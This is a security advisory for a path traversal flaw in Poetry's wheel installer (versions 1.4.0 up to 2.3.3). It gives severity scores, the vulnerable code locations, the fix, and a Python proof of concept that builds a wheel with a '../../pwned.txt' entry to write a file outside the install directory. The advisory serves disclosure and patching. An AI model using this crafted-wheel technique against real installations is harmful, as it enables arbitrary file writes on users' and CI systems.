GHSA-2599-h6xx-hpxp

Poetry Has Wheel Path Traversal Which Can Lead to Arbitrary File Write

At a glance

Published
Updated
CVE
CVE-2026-34591
Aliases
PYSEC-2026-2260
CVSS_V3
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
CVSS_V4
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Description

### Summary A crafted wheel can contain ../ paths that Poetry writes to disk without containment checks, allowing arbitrary file write with the privileges of the Poetry process. ### Impact Arbitrary file write (path traversal) from untrusted wheel content. Impacts users/CI/CD systems installing malicious or compromised packages. ### Patches Versions 2.3.3 and newer of Poetry resolve the target paths and ensure that they are inside the target directory. Otherwise, installation is aborted. ### Details Poetry’s wheel destination path is built by directly joining an untrusted wheel entry path: src/poetry/installation/wheel_installer.py:47 src/poetry/installation/wheel_installer.py:59 The vulnerable sink is reachable in normal installation: src/poetry/installation/executor.py:607 No resolve() + is_relative_to() style guard is enforced before writing. ### POC ``` from pathlib import Path import tempfile, zipfile, sys from installer import install from installer.sources import WheelFile from poetry.installation.wheel_installer import WheelDestination root = Path(tempfile.mkdtemp(prefix="poetry-poc-")) wheel = root / "evil-0.1-py3-none-any.whl" base = root / "venv" / "lib" / "pythonX" / "site-packages" for d in [base, root/"venv/scripts", root/"venv/headers", root/"venv/data"]: d.mkdir(parents=True, exist_ok=True) files = { "evil/__init__.py": b"", "../../pwned.txt": b"owned\n", "evil-0.1.dist-info/WHEEL": b"Wheel-Version: 1.0\nRoot-Is-Purelib: true\nTag: py3-none-any\n", "evil-0.1.dist-info/METADATA": b"Metadata-Version: 2.1\nName: evil\nVersion: 0.1\n", } files["evil-0.1.dist-info/RECORD"] = ("\n".join([f"{k},," for k in files] + ["evil-0.1.dist-info/RECORD,,"])+"\n").encode() with zipfile.ZipFile(wheel, "w") as z: for k,v in files.items(): z.writestr(k,v) dest = WheelDestination( {"purelib":str(base),"platlib":str(base),"scripts":str(root/"venv/scripts"),"headers":str(root/"venv/headers"),"data":str(root/"venv/data")}, interpreter=sys.executable, script_kind="posix" ) with WheelFile.open(wheel) as src: install(src, dest, {"INSTALLER": b"PoC"}) out = (base / "../../pwned.txt").resolve() print("outside write:", out.exists(), out) ```

Affected packages

PackageVersions
PyPI · poetryintroduced 1.4.0, fixed 2.3.3

References

Sources

SourceLicence
OSV.devCC-BY 4.0 — GitHub Advisory Database